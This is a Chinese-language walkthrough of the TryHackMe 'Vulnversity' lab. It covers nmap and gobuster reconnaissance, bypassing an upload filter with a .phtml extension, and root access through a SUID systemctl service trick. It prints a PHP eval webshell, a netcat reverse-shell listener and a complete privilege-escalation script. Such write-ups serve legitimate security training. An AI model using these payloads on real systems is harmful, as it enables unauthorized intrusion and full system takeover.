TryHackMe-vulnversity渗透靶场wp
靶场链接:https://tryhackme.com/room/vulnversity
用nmap进行勘察
使用nmap
进行信息收集
我们通过 openvpn
进行连接之后,我们就开始进行信息收集
1 | $ nmap -sV -Pn 10.10.14.85 |
通过我们扫描出来的结果和题目所给出的nmap的用法我们除了问操作系统的那个问题就都解决了
1 | nmap -A 10.10.14.85 |
可以得出系统为Ubuntu
利用Gobuster进行信息收集
这是一个目录文件和DNS爆破工具
我们先在kali下下载这个工具
1 | sudo apt-get install gobuster |
然后输入命令进行扫描,这里我们的字典就用kali下自带的字典
1 | gobuster dir -u http://10.10.14.85:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
访问一下/internal
页面
发现存在文件上传点,记得是http而不是https
利用文件上传漏洞上传php木马反弹shell
这里有apache服务,而一般木马都是php文件
所以我们先上传一个php木马试一下,木马名为1.php
木马内容为
1 | <?php @eval($_POST['attack']); ?> |
发现无法上传,猜测后缀被过滤,我们试一下其他的常用的可以被解析的php文件的后缀,用 Burpsuite
爆破一下,上传然后进行抓包,对后缀名进行爆破
爆破字典处写入常见的php文件后缀名
发现phtml
后缀文件成功上传
知道什么后缀的木马文件可以上传之后,我们就可以上传一个可以反弹shell的php木马
我们修改木马中的两个部分,将ip换成我们自己的,端口修改为我们自己想要的端口,记得木马文件名要保存为 .phtml
后缀
然后开启监听
1 | nc -lvp 1234 |
上传木马,上传成功之后,访问一下,一般文件上传的目录都为uploads
成功反弹,得到flag
1 | cat /home/bill/user.txt |
8bd7xxxxxxxxxxxxxxxxxxxxedb
而管理web网络服务的用户就为home
的子目录下的用户,即bill
suid 提权
1 | $ cd /root |
可以看到现在我们没有访问 root
文件夹的权限
所以我们要进行提权
1 | $ whoami |
可以看到,我们当前的用户为 www-data
,所有用户里面,权限最高的为 root
用户
这里有一个知识点,为 suid
,即 set owner userId upon execution
,可以简单的理解为 set uid
在
Linux 中,SUID(执行时设置所有者 userId)是赋予文件的一种特定类型的文件权限。 SUID 向用户授予临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件。
例如,用于更改密码的二进制文件设置了 SUID 位 (/usr/bin/passwd
)。这是因为要更改您的密码;它将需要写入您无权访问的文件,而 root 可以;因此它具有 root 权限来进行正确的更改。
比如:
那这里我们就要进行 suid 提权来访问 root文件
可以使用这下面的任意一个来进行查询,第二个更加详细灵活,第一个更加简约明了
find / -type f -perm /4000 2>/dev/null
:- 使用
find
命令进行搜索。 -type f
指定只搜索文件。-perm /4000
指定了权限模式,/4000
表示匹配任何包含SUID权限的文件。2>/dev/null
将错误输出重定向到空设备,以避免输出不必要的警告信息。
- 使用
find / -user root -perm -4000 -exec ls -ldb {} \;
:- 同样使用
find
命令进行搜索。 -user root
指定只搜索属于用户”root”的文件。-perm -4000
指定了权限模式,-4000
表示匹配具有SUID权限的文件。-exec ls -ldb {} \;
执行一个外部命令ls -ldb
来显示匹配文件的详细信息。看到这里具有root权限的文件中,并没有我们常见的那几个命令1
2find / -type f -perm /4000 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;但是我们注意到有一个特殊的文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27$ find / -type f -perm /4000 2>/dev/null
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
/bin/systemctl
/bin/ping
/bin/fusermount
/sbin/mount.cifs/bin/systemctl
,/bin/systemctl
是一个系统管理工具,它用于控制systemd
系统和服务管理器。systemd
是一种初始化系统和服务管理器。/bin/systemctl
命令可以通过启动、停止、重启、查询和管理系统服务。在systemctl
工具上启用了setuid
权限,那么任何拥有该工具执行权限的用户都可能以该工具设置的特权身份(比如 root 用户)执行系统管理任务。
下一步我们就开始提权,主要的思路就是创建一个临时的systemd
服务配置文件,链接并启动该服务,并将 root 用户的 flag 写入一个临时文件中。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#创建一个名为xxx的环境变量,调用mktemp创建一个临时的systemd服务配置文件
xxx=$(mktemp).service
#将配置内容写入环境变量,服务执行后执行命令,然后通过root权限去输出flag到指定文件。
echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $xxx
#链接服务并启动
/bin/systemctl link $xxx
#启用一个单元实例--服务单元文件得以运行
/bin/systemctl enable --now $xxx
#获得root flag
cat /tmp/output
a58ffxxxxxxxxxxxxxxxxfd5
- 同样使用
- 使用
mktemp
命令生成一个随机命名的临时文件,并将其命名为xxx.service
。这个文件名会被保存在环境变量xxx
中,以便后续操作使用。由于生成的是一个systemd
服务配置文件,因此需要以.service
作为文件扩展名。 - 使用
echo
命令将服务配置内容写入环境变量xxx
中。具体来说,这个服务配置文件指定了服务的启动命令为cat /root/root.txt > /tmp/output
,这条命令将根目录下的root.txt
文件内容输出到/tmp/output
文件中。服务安装后会启用multi-user.target
目标单元。 - 使用
/bin/systemctl link
命令将服务配置文件链接到系统服务管理器中,以便可以通过服务管理器对服务进行管理。 - 使用
/bin/systemctl enable --now
命令启用服务,使其在系统启动时自动启动,并立即启动服务实例。 - 使用
cat
命令读取/tmp/output
文件中的内容,其中存储了 root 用户的 flag。